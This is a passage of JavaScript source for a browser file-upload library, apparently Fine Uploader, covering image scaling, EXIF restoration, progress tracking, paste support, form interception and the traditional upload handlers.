properties are supported.\n *\n * @param spec Information about the scaled images to generate.\n * @param log Logger instance\n * @constructor\n */\nqq.Scaler = function(spec, log) {\n    \"use strict\";\n\n    var self = this,\n        customResizeFunction = spec.customResizer,\n        includeOriginal = spec.sendOriginal,\n        orient = spec.orient,\n        defaultType = spec.defaultType,\n        defaultQuality = spec.defaultQuality / 100,\n        failedToScaleText = spec.failureText,\n        includeExif = spec.includeExif,\n        sizes = this._getSortedSizes(spec.sizes);\n\n    // Revealed API for instances of this module\n    qq.extend(this, {\n        // If no targeted sizes have been declared or if this browser doesn't support\n        // client-side image preview generation, there is no scaling to do.\n        enabled: qq.supportedFeatures.scaling && sizes.length > 0,\n\n        getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {\n            var self = this,\n                records = [],\n                originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData,\n                identifier = new qq.Identify(originalBlob, log);\n\n            // If the reference file cannot be rendered natively, we can't create scaled versions.\n            if (identifier.isPreviewableSync()) {\n                // Create records for each scaled version & add them to the records array, smallest first.\n                qq.each(sizes, function(idx, sizeRecord) {\n                    var outputType = self._determineOutputType({\n                        defaultType: defaultType,\n                        requestedType: sizeRecord.type,\n                        refType: originalBlob.type\n                    });\n\n                    records.push({\n                        uuid: qq.getUniqueId(),\n                        name: self._getName(originalFileName, {\n                            name: sizeRecord.name,\n                            type: outputType,\n                            refType: originalBlob.type\n                        }),\n                        blob: new qq.BlobProxy(originalBlob,\n                        qq.bind(self._generateScaledImage, self, {\n                            customResizeFunction: customResizeFunction,\n                            maxSize: sizeRecord.maxSize,\n                            orient: orient,\n                            type: outputType,\n                            quality: defaultQuality,\n                            failedText: failedToScaleText,\n                            includeExif: includeExif,\n                            log: log\n                        }))\n                    });\n                });\n\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: includeOriginal ? originalBlob : null\n                });\n            }\n            else {\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: originalBlob\n                });\n            }\n\n            return records;\n        },\n\n        handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {\n            var self = this,\n                buttonId = file.qqButtonId || (file.blob && file.blob.qqButtonId),\n                scaledIds = [],\n                originalId = null,\n                addFileToHandler = api.addFileToHandler,\n                uploadData = api.uploadData,\n                paramsStore = api.paramsStore,\n                proxyGroupId = qq.getUniqueId();\n\n            qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {\n                var blobSize = record.size,\n                    id;\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    blobSize = -1;\n                }\n\n                id = uploadData.addFile({\n                    uuid: record.uuid,\n                    name: record.name,\n                    size: blobSize,\n                    batchId: batchId,\n                    proxyGroupId: proxyGroupId\n                });\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    scaledIds.push(id);\n                }\n                else {\n                    originalId = id;\n                }\n\n                if (record.blob) {\n                    addFileToHandler(id, record.blob);\n                    fileList.push({id: id, file: record.blob});\n                }\n                else {\n                    uploadData.setStatus(id, qq.status.REJECTED);\n                }\n            });\n\n            // If we are potentially uploading an original file and some scaled versions,\n            // ensure the scaled versions include reference's to the parent's UUID and size\n            // in their associated upload requests.\n            if (originalId !== null) {\n                qq.each(scaledIds, function(idx, scaledId) {\n                    var params = {\n                        qqparentuuid: uploadData.retrieve({id: originalId}).uuid,\n                        qqparentsize: uploadData.retrieve({id: originalId}).size\n                    };\n\n                    // Make sure the UUID for each scaled image is sent with the upload request,\n                    // to be consistent (since we may need to ensure it is sent for the original file as well).\n                    params[uuidParamName] = uploadData.retrieve({id: scaledId}).uuid;\n\n                    uploadData.setParentId(scaledId, originalId);\n                    paramsStore.addReadOnly(scaledId, params);\n                });\n\n                // If any scaled images are tied to this parent image, be SURE we send its UUID as an upload request\n                // parameter as well.\n                if (scaledIds.length) {\n                    (function() {\n                        var param = {};\n                        param[uuidParamName] = uploadData.retrieve({id: originalId}).uuid;\n                        paramsStore.addReadOnly(originalId, param);\n                    }());\n                }\n            }\n        }\n    });\n};\n\nqq.extend(qq.Scaler.prototype, {\n    scaleImage: function(id, specs, api) {\n        \"use strict\";\n\n        if (!qq.supportedFeatures.scaling) {\n            throw new qq.Error(\"Scaling is not supported in this browser!\");\n        }\n\n        var scalingEffort = new qq.Promise(),\n            log = api.log,\n            file = api.getFile(id),\n            uploadData = api.uploadData.retrieve({id: id}),\n            name = uploadData && uploadData.name,\n            uuid = uploadData && uploadData.uuid,\n            scalingOptions = {\n                customResizer: specs.customResizer,\n                sendOriginal: false,\n                orient: specs.orient,\n                defaultType: specs.type || null,\n                defaultQuality: specs.quality,\n                failedToScaleText: \"Unable to scale\",\n                sizes: [{name: \"\", maxSize: specs.maxSize}]\n            },\n            scaler = new qq.Scaler(scalingOptions, log);\n\n        if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {\n            scalingEffort.failure();\n\n            log(\"Could not generate requested scaled image for \" + id + \".  \" +\n                \"Scaling is either not possible in this browser, or the file could not be located.\", \"error\");\n        }\n        else {\n            (qq.bind(function() {\n                // Assumption: There will never be more than one record\n                var record = scaler.getFileRecords(uuid, name, file)[0];\n\n                if (record && record.blob instanceof qq.BlobProxy) {\n                    record.blob.create().then(scalingEffort.success, scalingEffort.failure);\n                }\n                else {\n                    log(id + \" is not a scalable image!\", \"error\");\n                    scalingEffort.failure();\n                }\n            }, this)());\n        }\n\n        return scalingEffort;\n    },\n\n    // NOTE: We cannot reliably determine at this time if the UA supports a specific MIME type for the target format.\n    // image/jpeg and image/png are the only safe choices at this time.\n    _determineOutputType: function(spec) {\n        \"use strict\";\n\n        var requestedType = spec.requestedType,\n            defaultType = spec.defaultType,\n            referenceType = spec.refType;\n\n        // If a default type and requested type have not been specified, this should be a\n        // JPEG if the original type is a JPEG, otherwise, a PNG.\n        if (!defaultType && !requestedType) {\n            if (referenceType !== \"image/jpeg\") {\n                return \"image/png\";\n            }\n            return referenceType;\n        }\n\n        // A specified default type is used when a requested type is not specified.\n        if (!requestedType) {\n            return defaultType;\n        }\n\n        // If requested type is specified, use it, as long as this recognized type is supported by the current UA\n        if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {\n            if (requestedType === \"image/tiff\") {\n                return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;\n            }\n\n            return requestedType;\n        }\n\n        return defaultType;\n    },\n\n    // Get a file name for a generated scaled file record, based on the provided scaled image description\n    _getName: function(originalName, scaledVersionProperties) {\n        \"use strict\";\n\n        var startOfExt = originalName.lastIndexOf(\".\"),\n            versionType = scaledVersionProperties.type || \"image/png\",\n            referenceType = scaledVersionProperties.refType,\n            scaledName = \"\",\n            scaledExt = qq.getExtension(originalName),\n            nameAppendage = \"\";\n\n        if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {\n            nameAppendage = \" (\" + scaledVersionProperties.name + \")\";\n        }\n\n        if (startOfExt >= 0) {\n            scaledName = originalName.substr(0, startOfExt);\n\n            if (referenceType !== versionType) {\n                scaledExt = versionType.split(\"/\")[1];\n            }\n\n            scaledName += nameAppendage + \".\" + scaledExt;\n        }\n        else {\n            scaledName = originalName + nameAppendage;\n        }\n\n        return scaledName;\n    },\n\n    // We want the smallest scaled file to be uploaded first\n    _getSortedSizes: function(sizes) {\n        \"use strict\";\n\n        sizes = qq.extend([], sizes);\n\n        return sizes.sort(function(a, b) {\n            if (a.maxSize > b.maxSize) {\n                return 1;\n            }\n            if (a.maxSize < b.maxSize) {\n                return -1;\n            }\n            return 0;\n        });\n    },\n\n    _generateScaledImage: function(spec, sourceFile) {\n        \"use strict\";\n\n        var self = this,\n            customResizeFunction = spec.customResizeFunction,\n            log = spec.log,\n            maxSize = spec.maxSize,\n            orient = spec.orient,\n            type = spec.type,\n            quality = spec.quality,\n            failedText = spec.failedText,\n            includeExif = spec.includeExif && sourceFile.type === \"image/jpeg\" && type === \"image/jpeg\",\n            scalingEffort = new qq.Promise(),\n            imageGenerator = new qq.ImageGenerator(log),\n            canvas = document.createElement(\"canvas\");\n\n        log(\"Attempting to generate scaled version for \" + sourceFile.name);\n\n        imageGenerator.generate(sourceFile, canvas, {maxSize: maxSize, orient: orient, customResizeFunction: customResizeFunction}).then(function() {\n            var scaledImageDataUri = canvas.toDataURL(type, quality),\n                signalSuccess = function() {\n                    log(\"Success generating scaled version for \" + sourceFile.name);\n                    var blob = qq.dataUriToBlob(scaledImageDataUri);\n                    scalingEffort.success(blob);\n                };\n\n            if (includeExif) {\n                self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {\n                    scaledImageDataUri = scaledImageDataUriWithExif;\n                    signalSuccess();\n                },\n                function() {\n                    log(\"Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.\", \"error\");\n                    signalSuccess();\n                });\n            }\n            else {\n                signalSuccess();\n            }\n        }, function() {\n            log(\"Failed attempt to generate scaled version for \" + sourceFile.name, \"error\");\n            scalingEffort.failure(failedText);\n        });\n\n        return scalingEffort;\n    },\n\n    // Attempt to insert the original image's EXIF header into a scaled version.\n    _insertExifHeader: function(originalImage, scaledImageDataUri, log) {\n        \"use strict\";\n\n        var reader = new FileReader(),\n            insertionEffort = new qq.Promise(),\n            originalImageDataUri = \"\";\n\n        reader.onload = function() {\n            originalImageDataUri = reader.result;\n            insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));\n        };\n\n        reader.onerror = function() {\n            log(\"Problem reading \" + originalImage.name + \" during attempt to transfer EXIF data to scaled version.\", \"error\");\n            insertionEffort.failure();\n        };\n\n        reader.readAsDataURL(originalImage);\n\n        return insertionEffort;\n    },\n\n    _dataUriToBlob: function(dataUri) {\n        \"use strict\";\n\n        var byteString, mimeString, arrayBuffer, intArray;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return this._createBlob(arrayBuffer, mimeString);\n    },\n\n    _createBlob: function(data, mime) {\n        \"use strict\";\n\n        var BlobBuilder = window.BlobBuilder ||\n                window.WebKitBlobBuilder ||\n                window.MozBlobBuilder ||\n                window.MSBlobBuilder,\n            blobBuilder = BlobBuilder && new BlobBuilder();\n\n        if (blobBuilder) {\n            blobBuilder.append(data);\n            return blobBuilder.getBlob(mime);\n        }\n        else {\n            return new Blob([data], {type: mime});\n        }\n    }\n});\n","//Based on MinifyJpeg\n//http://elicon.blog57.fc2.com/blog-entry-206.html\n\nqq.ExifRestorer = (function()\n{\n   \n\tvar ExifRestorer = {};\n\t \n    ExifRestorer.KEY_STR = \"ABCDEFGHIJKLMNOP\" +\n                         \"QRSTUVWXYZabcdef\" +\n                         \"ghijklmnopqrstuv\" +\n                         \"wxyz0123456789+/\" +\n                         \"=\";\n\n    ExifRestorer.encode64 = function(input)\n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0;\n\n        do {\n            chr1 = input[i++];\n            chr2 = input[i++];\n            chr3 = input[i++];\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n               enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n               enc4 = 64;\n            }\n\n            output = output +\n               this.KEY_STR.charAt(enc1) +\n               this.KEY_STR.charAt(enc2) +\n               this.KEY_STR.charAt(enc3) +\n               this.KEY_STR.charAt(enc4);\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n        } while (i < input.length);\n\n        return output;\n    };\n    \n    ExifRestorer.restore = function(origFileBase64, resizedFileBase64)\n    {\n        var expectedBase64Header = \"data:image/jpeg;base64,\";\n\n        if (!origFileBase64.match(expectedBase64Header))\n        {\n        \treturn resizedFileBase64;\n        }       \n        \n        var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, \"\"));\n        var segments = this.slice2Segments(rawImage);\n                \n        var image = this.exifManipulation(resizedFileBase64, segments);\n        \n        return expectedBase64Header + this.encode64(image);\n        \n    };\n\n\n    ExifRestorer.exifManipulation = function(resizedFileBase64, segments)\n    {\n            var exifArray = this.getExifArray(segments),\n                newImageArray = this.insertExif(resizedFileBase64, exifArray),\n                aBuffer = new Uint8Array(newImageArray);\n\n            return aBuffer;\n    };\n\n\n    ExifRestorer.getExifArray = function(segments)\n    {\n            var seg;\n            for (var x = 0; x < segments.length; x++)\n            {\n                seg = segments[x];\n                if (seg[0] == 255 & seg[1] == 225) //(ff e1)\n                {\n                    return seg;\n                }\n            }\n            return [];\n    };\n\n\n    ExifRestorer.insertExif = function(resizedFileBase64, exifArray)\n    {\n            var imageData = resizedFileBase64.replace(\"data:image/jpeg;base64,\", \"\"),\n                buf = this.decode64(imageData),\n                separatePoint = buf.indexOf(255,3),\n                mae = buf.slice(0, separatePoint),\n                ato = buf.slice(separatePoint),\n                array = mae;\n\n            array = array.concat(exifArray);\n            array = array.concat(ato);\n           return array;\n    };\n\n\n    \n    ExifRestorer.slice2Segments = function(rawImageArray)\n    {\n        var head = 0,\n            segments = [];\n\n        while (1)\n        {\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218){break;}\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216)\n            {\n                head += 2;\n            }\n            else\n            {\n                var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3],\n                    endPoint = head + length + 2,\n                    seg = rawImageArray.slice(head, endPoint);\n                segments.push(seg);\n                head = endPoint;\n            }\n            if (head > rawImageArray.length){break;}\n        }\n\n        return segments;\n    };\n\n\n    \n    ExifRestorer.decode64 = function(input) \n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0,\n            buf = [];\n\n        // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n        var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n        if (base64test.exec(input)) {\n            throw new Error(\"There were invalid base64 characters in the input text.  \" +\n                \"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\");\n        }\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        do {\n            enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            buf.push(chr1);\n\n            if (enc3 != 64) {\n               buf.push(chr2);\n            }\n            if (enc4 != 64) {\n               buf.push(chr3);\n            }\n\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n\n        } while (i < input.length);\n\n        return buf;\n    };\n\n    \n    return ExifRestorer;\n})();\n","/* globals qq */\n/**\n * Keeps a running tally of total upload progress for a batch of files.\n *\n * @param callback Invoked when total progress changes, passing calculated total loaded & total size values.\n * @param getSize Function that returns the size of a file given its ID\n * @constructor\n */\nqq.TotalProgress = function(callback, getSize) {\n    \"use strict\";\n\n    var perFileProgress = {},\n        totalLoaded = 0,\n        totalSize = 0,\n\n        lastLoadedSent = -1,\n        lastTotalSent = -1,\n        callbackProxy = function(loaded, total) {\n            if (loaded !== lastLoadedSent || total !== lastTotalSent) {\n                callback(loaded, total);\n            }\n\n            lastLoadedSent = loaded;\n            lastTotalSent = total;\n        },\n\n        /**\n         * @param failed Array of file IDs that have failed\n         * @param retryable Array of file IDs that are retryable\n         * @returns true if none of the failed files are eligible for retry\n         */\n        noRetryableFiles = function(failed, retryable) {\n            var none = true;\n\n            qq.each(failed, function(idx, failedId) {\n                if (qq.indexOf(retryable, failedId) >= 0) {\n                    none = false;\n                    return false;\n                }\n            });\n\n            return none;\n        },\n\n        onCancel = function(id) {\n            updateTotalProgress(id, -1, -1);\n            delete perFileProgress[id];\n        },\n\n        onAllComplete = function(successful, failed, retryable) {\n            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {\n                callbackProxy(totalSize, totalSize);\n                this.reset();\n            }\n        },\n\n        onNew = function(id) {\n            var size = getSize(id);\n\n            // We might not know the size yet, such as for blob proxies\n            if (size > 0) {\n                updateTotalProgress(id, 0, size);\n                perFileProgress[id] = {loaded: 0, total: size};\n            }\n        },\n\n        /**\n         * Invokes the callback with the current total progress of all files in the batch.  Called whenever it may\n         * be appropriate to re-calculate and disseminate this data.\n         *\n         * @param id ID of a file that has changed in some important way\n         * @param newLoaded New loaded value for this file.  -1 if this value should no longer be part of calculations\n         * @param newTotal New total size of the file.  -1 if this value should no longer be part of calculations\n         */\n        updateTotalProgress = function(id, newLoaded, newTotal) {\n            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0,\n                oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;\n\n            if (newLoaded === -1 && newTotal === -1) {\n                totalLoaded -= oldLoaded;\n                totalSize -= oldTotal;\n            }\n            else {\n                if (newLoaded) {\n                    totalLoaded += newLoaded - oldLoaded;\n                }\n                if (newTotal) {\n                    totalSize += newTotal - oldTotal;\n                }\n            }\n\n            callbackProxy(totalLoaded, totalSize);\n        };\n\n    qq.extend(this, {\n        // Called when a batch of files has completed uploading.\n        onAllComplete: onAllComplete,\n\n        // Called when the status of a file has changed.\n        onStatusChange: function(id, oldStatus, newStatus) {\n            if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {\n                onCancel(id);\n            }\n            else if (newStatus === qq.status.SUBMITTING) {\n                onNew(id);\n            }\n        },\n\n        // Called whenever the upload progress of an individual file has changed.\n        onIndividualProgress: function(id, loaded, total) {\n            updateTotalProgress(id, loaded, total);\n            perFileProgress[id] = {loaded: loaded, total: total};\n        },\n\n        // Called whenever the total size of a file has changed, such as when the size of a generated blob is known.\n        onNewSize: function(id) {\n            onNew(id);\n        },\n\n        reset: function() {\n            perFileProgress = {};\n            totalLoaded = 0;\n            totalSize = 0;\n        }\n    });\n};\n","/*globals qq*/\nqq.PasteSupport = function(o) {\n    \"use strict\";\n\n    var options, detachPasteHandler;\n\n    options = {\n        targetElement: null,\n        callbacks: {\n            log: function(message, level) {},\n            pasteReceived: function(blob) {}\n        }\n    };\n\n    function isImage(item) {\n        return item.type &&\n            item.type.indexOf(\"image/\") === 0;\n    }\n\n    function registerPasteHandler() {\n        detachPasteHandler = qq(options.targetElement).attach(\"paste\", function(event) {\n            var clipboardData = event.clipboardData;\n\n            if (clipboardData) {\n                qq.each(clipboardData.items, function(idx, item) {\n                    if (isImage(item)) {\n                        var blob = item.getAsFile();\n                        options.callbacks.pasteReceived(blob);\n                    }\n                });\n            }\n        });\n    }\n\n    function unregisterPasteHandler() {\n        if (detachPasteHandler) {\n            detachPasteHandler();\n        }\n    }\n\n    qq.extend(options, o);\n    registerPasteHandler();\n\n    qq.extend(this, {\n        reset: function() {\n            unregisterPasteHandler();\n        }\n    });\n};\n","/* globals qq */\n/**\n * Module that handles support for existing forms.\n *\n * @param options Options passed from the integrator-supplied options related to form support.\n * @param startUpload Callback to invoke when files \"stored\" should be uploaded.\n * @param log Proxy for the logger\n * @constructor\n */\nqq.FormSupport = function(options, startUpload, log) {\n    \"use strict\";\n    var self  = this,\n        interceptSubmit = options.interceptSubmit,\n        formEl = options.element,\n        autoUpload = options.autoUpload;\n\n    // Available on the public API associated with this module.\n    qq.extend(this, {\n        // To be used by the caller to determine if the endpoint will be determined by some processing\n        // that occurs in this module, such as if the form has an action attribute.\n        // Ignore if `attachToForm === false`.\n        newEndpoint: null,\n\n        // To be used by the caller to determine if auto uploading should be allowed.\n        // Ignore if `attachToForm === false`.\n        newAutoUpload: autoUpload,\n\n        // true if a form was detected and is being tracked by this module\n        attachedToForm: false,\n\n        // Returns an object with names and values for all valid form elements associated with the attached form.\n        getFormInputsAsObject: function() {\n            /* jshint eqnull:true */\n            if (formEl == null) {\n                return null;\n            }\n\n            return self._form2Obj(formEl);\n        }\n    });\n\n    // If the form contains an action attribute, this should be the new upload endpoint.\n    function determineNewEndpoint(formEl) {\n        if (formEl.getAttribute(\"action\")) {\n            self.newEndpoint = formEl.getAttribute(\"action\");\n        }\n    }\n\n    // Return true only if the form is valid, or if we cannot make this determination.\n    // If the form is invalid, ensure invalid field(s) are highlighted in the UI.\n    function validateForm(formEl, nativeSubmit) {\n        if (formEl.checkValidity && !formEl.checkValidity()) {\n            log(\"Form did not pass validation checks - will not upload.\", \"error\");\n            nativeSubmit();\n        }\n        else {\n            return true;\n        }\n    }\n\n    // Intercept form submit attempts, unless the integrator has told us not to do this.\n    function maybeUploadOnSubmit(formEl) {\n        var nativeSubmit = formEl.submit;\n\n        // Intercept and squelch submit events.\n        qq(formEl).attach(\"submit\", function(event) {\n            event = event || window.event;\n\n            if (event.preventDefault) {\n                event.preventDefault();\n            }\n            else {\n                event.returnValue = false;\n            }\n\n            validateForm(formEl, nativeSubmit) && startUpload();\n        });\n\n        // The form's `submit()` function may be called instead (i.e. via jQuery.submit()).\n        // Intercept that too.\n        formEl.submit = function() {\n            validateForm(formEl, nativeSubmit) && startUpload();\n        };\n    }\n\n    // If the element value passed from the uploader is a string, assume it is an element ID - select it.\n    // The rest of the code in this module depends on this being an HTMLElement.\n    function determineFormEl(formEl) {\n        if (formEl) {\n            if (qq.isString(formEl)) {\n                formEl = document.getElementById(formEl);\n            }\n\n            if (formEl) {\n                log(\"Attaching to form element.\");\n                determineNewEndpoint(formEl);\n                interceptSubmit && maybeUploadOnSubmit(formEl);\n            }\n        }\n\n        return formEl;\n    }\n\n    formEl = determineFormEl(formEl);\n    this.attachedToForm = !!formEl;\n};\n\nqq.extend(qq.FormSupport.prototype, {\n    // Converts all relevant form fields to key/value pairs.  This is meant to mimic the data a browser will\n    // construct from a given form when the form is submitted.\n    _form2Obj: function(form) {\n        \"use strict\";\n        var obj = {},\n            notIrrelevantType = function(type) {\n                var irrelevantTypes = [\n                    \"button\",\n                    \"image\",\n                    \"reset\",\n                    \"submit\"\n                ];\n\n                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;\n            },\n            radioOrCheckbox = function(type) {\n                return qq.indexOf([\"checkbox\", \"radio\"], type.toLowerCase()) >= 0;\n            },\n            ignoreValue = function(el) {\n                if (radioOrCheckbox(el.type) && !el.checked) {\n                    return true;\n                }\n\n                return el.disabled && el.type.toLowerCase() !== \"hidden\";\n            },\n            selectValue = function(select) {\n                var value = null;\n\n                qq.each(qq(select).children(), function(idx, child) {\n                    if (child.tagName.toLowerCase() === \"option\" && child.selected) {\n                        value = child.value;\n                        return false;\n                    }\n                });\n\n                return value;\n            };\n\n        qq.each(form.elements, function(idx, el) {\n            if ((qq.isInput(el, true) || el.tagName.toLowerCase() === \"textarea\") &&\n                notIrrelevantType(el.type) &&\n                !ignoreValue(el)) {\n\n                obj[el.name] = el.value;\n            }\n            else if (el.tagName.toLowerCase() === \"select\" && !ignoreValue(el)) {\n                var value = selectValue(el);\n\n                if (value !== null) {\n                    obj[el.name] = value;\n                }\n            }\n        });\n\n        return obj;\n    }\n});\n","/*globals qq*/\n/**\n * Upload handler used that assumes the current user agent does not have any support for the\n * File API, and, therefore, makes use of iframes and forms to submit the files directly to\n * a generic server.\n *\n * @param options Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.FormUploadHandler = function(options, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getUuid = proxy.getUuid,\n        log = proxy.log;\n\n    /**\n     * Returns json object received by iframe from server.\n     */\n    function getIframeContentJson(id, iframe) {\n        /*jshint evil: true*/\n\n        var response, doc, innerHtml;\n\n        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n        try {\n            // iframe.contentWindow.document - for IE<7\n            doc = iframe.contentDocument || iframe.contentWindow.document;\n            innerHtml = doc.body.innerHTML;\n\n            log(\"converting iframe's innerHTML to JSON\");\n            log(\"innerHTML = \" + innerHtml);\n            //plain text response may be wrapped in <pre> tag\n            if (innerHtml && innerHtml.match(/^<pre/i)) {\n                innerHtml = doc.body.firstChild.firstChild.nodeValue;\n            }\n\n            response = handler._parseJsonResponse(innerHtml);\n        }\n        catch (error) {\n            log(\"Error when attempting to parse form upload response (\" + error.message + \")\", \"error\");\n            response = {success: false};\n        }\n\n        return response;\n    }\n\n    /**\n     * Creates form, that will be submitted to iframe\n     */\n    function createForm(id, iframe) {\n        var params = options.paramsStore.get(id),\n            method = options.method.toLowerCase() === \"get\" ? \"GET\" : \"POST\",\n            endpoint = options.endpointStore.get(id),\n            name = getName(id);\n\n        params[options.uuidName] = getUuid(id);\n        params[options.filenameParam] = name;\n\n        return handler._initFormForUpload({\n            method: method,\n            endpoint: endpoint,\n            params: params,\n            paramsInBody: options.paramsInBody,\n            targetName: iframe.name\n        });\n    }\n\n    this.uploadFile = function(id) {\n        var input = handler.getInput(id),\n            iframe = handler._createIframe(id),\n            promise = new qq.Promise(),\n            form;\n\n        form = createForm(id, iframe);\n        form.appendChild(input);\n\n        handler._attachLoadEvent(iframe, function(responseFromMessage) {\n            log(\"iframe loaded\");\n\n            var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);\n\n            handler._detachLoadEvent(id);\n\n            //we can't remove an iframe if the iframe doesn't belong to the same domain\n            if (!options.cors.expected) {\n                qq(iframe).remove();\n            }\n\n            if (response.success) {\n                promise.success(response);\n            }\n            else {\n                promise.failure(response);\n            }\n        });\n\n        log(\"Sending upload request for \" + id);\n        form.submit();\n        qq(form).remove();\n\n        return promise;\n    };\n\n    qq.extend(this, new qq.FormUploadHandler({\n        options: {\n            isCors: options.cors.expected,\n            inputName: options.inputName\n        },\n\n        proxy: {\n            onCancel: options.onCancel,\n            getName: getName,\n            getUuid: getUuid,\n            log: log\n        }\n    }));\n};\n","/*globals qq*/\n/**\n * Upload handler used to upload to traditional endpoints.  It depends on File API support, and, therefore,\n * makes use of `XMLHttpRequest` level 2 to upload `File`s and `Blob`s to a generic server.\n *\n * @param spec Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.XhrUploadHandler = function(spec, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        multipart = spec.forceMultipart || spec.paramsInBody,\n\n        addChunkingSpecificParams = function(id, params, chunkData) {\n            var size = getSize(id),\n                name = getName(id);\n\n            params[spec.chunking.paramNames.partIndex] = chunkData.part;\n            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;\n            params[spec.chunking.paramNames.chunkSize] = chunkData.size;\n            params[spec.chunking.paramNames.totalParts] = chunkData.count;\n            params[spec.totalFileSizeName] = size;\n\n            /**\n             * When a Blob is sent in a multipart request, the filename value in the content-disposition header is either \"blob\"\n             * or an empty string.  So, we will need to include the actual file name as a param in this case.\n             */\n            if (multipart) {\n                params[spec.filenameParam] = name;\n            }\n        },\n\n        allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({\n            cors: spec.cors,\n            endpoint: spec.chunking.success.endpoint,\n            log: log\n        }),\n\n        createReadyStateChangedHandler = function(id, xhr) {\n            var promise = new qq.Promise();\n\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    var result = onUploadOrChunkComplete(id, xhr);\n\n                    if (result.success) {\n                        promise.success(result.response, xhr);\n                    }\n                    else {\n                        promise.failure(result.response, xhr);\n                    }\n                }\n            };\n\n            return promise;\n        },\n\n        getChunksCompleteParams = function(id) {\n            var params = spec.paramsStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n            params[spec.totalFileSizeName] = size;\n            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);\n\n            return params;\n        },\n\n        isErrorUploadResponse = function(xhr, response) {\n            return qq.indexOf([200, 201, 202, 203, 204], xhr.status) < 0 ||\n                !response.success ||\n                response.reset;\n        },\n\n        onUploadOrChunkComplete = function(id, xhr) {\n            var response;\n\n            log(\"xhr - server response received for \" + id);\n            log(\"responseText = \" + xhr.responseText);\n\n            response = parseResponse(true, xhr);\n\n            return {\n                success: !isErrorUploadResponse(xhr, response),\n                response: response\n            };\n        },\n\n        // If this is an upload response, we require a JSON payload, otherwise, it is optional.\n        parseResponse = function(upload, xhr) {\n            var response = {};\n\n            try {\n                log(qq.format(\"Received response status {} with body: {}\", xhr.status, xhr.responseText));\n                response = qq.parseJson(xhr.responseText);\n            }\n            catch (error) {\n                upload && log(\"Error when attempting to parse xhr response text (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        },\n\n        sendChunksCompleteRequest = function(id) {\n            var promise = new 